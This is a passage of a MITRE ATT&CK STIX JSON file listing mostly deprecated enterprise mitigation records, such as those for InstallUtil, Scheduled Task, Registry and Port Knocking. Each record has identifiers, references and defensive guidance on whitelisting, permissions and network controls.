adversaries.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ec418d1b-4963-439f-b055-f914737ef362","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1118","external_id":"T1118"}],"modified":"2019-07-24T19:43:58.738Z","name":"InstallUtil Mitigation","description":"InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1054","external_id":"T1054"},{"url":"https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal","description":"Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.","source_name":"Microsoft ETW May 2018"}],"modified":"2019-07-24T19:39:30.292Z","name":"Indicator Blocking Mitigation","description":"Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1112","url":"https://attack.mitre.org/mitigations/T1112","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.884Z","name":"Modify Registry Mitigation","description":"Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ef273807-c465-4728-9cee-5823422f42ee","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1198","external_id":"T1198"},{"source_name":"SpectorOps Subverting Trust Sept 2017","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}],"modified":"2019-07-25T11:38:03.304Z","name":"SIP and Trust Provider Hijacking Mitigation","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1091","url":"https://attack.mitre.org/mitigations/T1091","source_name":"mitre-attack"},{"source_name":"Microsoft Disable Autorun","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","url":"https://support.microsoft.com/en-us/kb/967715"},{"source_name":"TechNet Removable Media Control","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.877Z","name":"Replication Through Removable Media Mitigation","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f0a42cad-9b1f-44da-a672-718f18381018","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1080","external_id":"T1080"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:21.481Z","name":"Taint Shared Content Mitigation","description":"Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1145","external_id":"T1145"}],"modified":"2019-07-25T11:27:03.265Z","name":"Private Keys Mitigation","description":"Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1053","url":"https://attack.mitre.org/mitigations/T1053","source_name":"mitre-attack"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"source_name":"TechNet Server Operator Scheduled Task","description":"Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.","url":"https://technet.microsoft.com/library/jj852168.aspx"},{"source_name":"TechNet Scheduling Priority","description":"Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.","url":"https://technet.microsoft.com/library/dn221960.aspx"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.375Z","name":"Scheduled Task Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f2dcee22-c275-405e-87fd-48630a19dfba","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1203","external_id":"T1203"},{"url":"https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/","description":"Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"},{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2019-07-24T19:22:39.193Z","name":"Exploitation for Client Execution Mitigation","description":"Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1094","external_id":"T1094"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T18:13:22.017Z","name":"Custom Command and Control Protocol Mitigation","description":"Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1057","url":"https://attack.mitre.org/mitigations/T1057","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.656Z","name":"Process Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f6b7c116-0821-4eb7-9b24-62bd09b3e575","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1205","external_id":"T1205"}],"modified":"2019-07-25T11:25:50.338Z","name":"Port Knocking Mitigation","description":"Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1108","url":"https://attack.mitre.org/mitigations/T1108","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-08-23T20:25:18.593Z","name":"Redundant Access Mitigation","description":"Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-21T15:52:18.525Z","name":"Account Use Policies","description":"Configure features related to account use like login attempt lockouts, specific login times, etc.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"course-of-action","id":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","created":"2019-06-11T16:32:21.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1036","external_id":"M1036"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1143","external_id":"T1143"}],"modified":"2019-07-24T19:36:50.328Z","name":"Hidden Window Mitigation","description":"Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1132","external_id":"T1132"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T18:25:06.552Z","name":"Data Encoding Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1031","url":"https://attack.mitre.org/mitigations/T1031","source_name":"mitre-attack"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:23.126Z","name":"Modify Existing Service Mitigation","description":"Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown 